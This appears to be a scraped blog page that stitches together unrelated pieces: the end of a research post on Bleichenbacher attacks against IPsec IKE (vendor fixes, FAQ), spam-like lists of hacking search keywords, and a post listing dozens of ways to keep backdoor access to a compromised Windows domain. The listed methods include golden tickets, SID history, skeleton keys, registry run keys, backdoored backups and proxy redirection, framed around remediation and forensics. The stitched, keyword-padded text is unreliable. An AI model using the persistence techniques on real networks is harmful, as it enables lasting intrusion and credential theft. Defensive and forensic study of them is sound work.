We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published firmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (Release Notes) is available.

FAQs

  • Why don't you have a cool name for this attack?
    The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
  • Do you have a logo for the attack?
    No.
  • My machine was running a vulnerable firmware. Have I been attacked?
    We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
  • Where can I learn more?
    First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
  • What else does the paper contain?
    The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

English

German

Related word


  1. Car Hacking
  2. Hacking Hardware
  3. Rom Hacking Pokemon
  4. Curso Completo De Hacking Ético
  5. Curso Growth Hacking
  6. Que Significa Hat
  7. El Libro Del Hacker
  8. Start Hacking
  9. Hacking Prank
  10. Hacking Usb
  11. Hacking Wifi Android

Thousand Ways To Backdoor A Windows Domain (Forest)

When the Kerberos elevation of privilege (CVE-2014-6324 / MS14-068) vulnerability has been made public, the remediation paragraph of the following blog post made some waves:
http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

"The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain."

Personally, I agree with this, but .... But whether this is the real solution, I'm not sure. And the same applies to compromised computers. When it has been identified that malware was able to run on the computer (e.g. scheduled scan found the malware), there is no easy way to determine with 100% certainty that there is no rootkit on the computer. Thus rebuilding the computer might be a good thing to consider. For paranoids, use new hardware ;)

But rebuilding a single workstation and rebuilding a whole domain is not on the same complexity level. Rebuilding a domain can take weeks or months (or years, which will never happen, as the business will close before that).

There are countless documented methods to backdoor a computer, but I have never seen a post where someone collects all the methods to backdoor a domain. In the following, I will refer to domain admin, but in reality, I mean Domain Admins, Enterprise Admins, and Schema Admins.


Ways to backdoor a domain

So here you go, an incomplete list to backdoor a domain:

  • Create a new domain admin user. Easy to do, easy to detect, easy to remediate
  • Dump password hashes. The attacker can either crack those or just pass-the-hash. Since KB2871997, pass-the-hash might be trickier (https://technet.microsoft.com/library/security/2871997), but not impossible. Easy to do, hard to detect, hard to remediate - just think about service user passwords. And during remediation, consider all passwords compromised, even strong ones.
  • Logon scripts - modify the logon scripts and add something malicious in it. Almost anything detailed in this post can be added :D
  • Use an already available account, and add domain admin privileges to that. Reset its password. Mess with current group memberships - e.g. http://www.exploit-db.com/papers/17167/
  • Backdoor any workstation where domain admins login. While remediating workstations, don't forget to clean the roaming profile. The type of backdoor can use different forms: malware, local admin, password (hidden admin with 500 RID), sticky keys, etc.
  • Backdoor any domain controller server. For advanced attacks, see Skeleton keys 
  • Backdoor files on network shares which are commonly used by domain admins by adding malware to commonly used executables - Backdoor factory
  • Change ownership/permissions on AD partitions - if you have particular details on how to do this specifically, please comment
  • Create a new domain user. Hide admin privileges with SID history. Easy to do, hard to detect, easy to remediate - check Mimikatz experimental for addsid
  • Golden tickets - easy to do, hard to detect, medium remediation
  • Silver tickets - easy to do, hard to detect, medium/hard remediation
  • Backdoor workstations/servers via group policy
    • HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce,
    • scheduled tasks (run task 2 years later),
    • sticky-keys with debug
  • Backdoor patch management tool, see slides here
[Update 2017.01.10]


Other tricks

The following list does not fit in the previous "instant admin" tips, but still, it can make the attackers life easier if their primary foothold has been disabled:

  • Backdoor recent backups - and when the backdoor is needed, destroy the files, so the files will be restored from the backdoored backup
  • Backdoor the Exchange server - get a copy of emails
  • Backdoor workstation/server golden image
  • Change permission of logon scripts to allow modification later
  • Place malicious symlinks to file shares, collect hashes via SMB auth tries on specified IP address, grab password hashes later
  • Backdoor remote admin management e.g. HP iLO - e.g. create new user or steal current password
  • Backdoor files e.g. on shares to use in SMB relay
  • Backdoor source code of in-house-developed software
  • Use any type of sniffed or reused passwords in new attacks, e.g. network admin, firewall admin, VPN admin, AV admin, etc.
  • Change the content of the proxy pac file (change browser configuration if necessary), including special exception(s) for a chosen domain(s)  to use proxy on malicious IP. Redirect the traffic, enforce authentication, grab password hashes, ???, profit.
  • Create high privileged users in applications running with high privileges, e.g. MSSQL, Tomcat, and own the machine, impersonate users, grab their credentials, etc. The typical pentest path made easy.
  • Remove patches from servers, change patch policy not to install those patches.
  • Steal Windows root/intermediate CA keys
  • Weaken AD security by changing group policy (e.g. re-enabling LM-hashes)
Update [2015-09-27]: I found this great presentation from Jakob Heidelberg. It mentions (at least) the following techniques, it is worth to check these:
  • Microsoft Local Administrator Password Solution
  • Enroll virtual smart card certificates for domain admins

Forensics

If you have been chosen to remediate a network where attackers gained domain admin privileges, well, you have a lot of things to look for :)

I can recommend two tools which can help you during your investigation:

Lessons learned

But guess what, not all of these problems are solved by rebuilding the AD. One has to rebuild all the computers from scratch as well. Which seems quite impossible. When someone is creating a new AD, it is impossible not to migrate some configuration/data/files from the old domain. And whenever this happens, there is a risk that the new AD will be backdoored as well.

Ok, we are doomed, but what can we do? I recommend proper log analysis, analyze trends, and detect strange patterns in your network. Better spend money on these, than on the domain rebuild. And when you find something, do a proper incident response. And good luck!

Ps: Thanks to Andrew, EQ, and Tileo for adding new ideas to this post.

Check out the host backdooring post as well! :)

Related articles


  1. Certificacion Hacking Etico
  2. Hacking Wikipedia
  3. Cracker Definicion
  4. Hacker Profesional
  5. Hacking Hardware Tools
  6. Hacking Programs
  7. Amiibo Hacking
  8. Programas De Hacker
  9. Black Hacker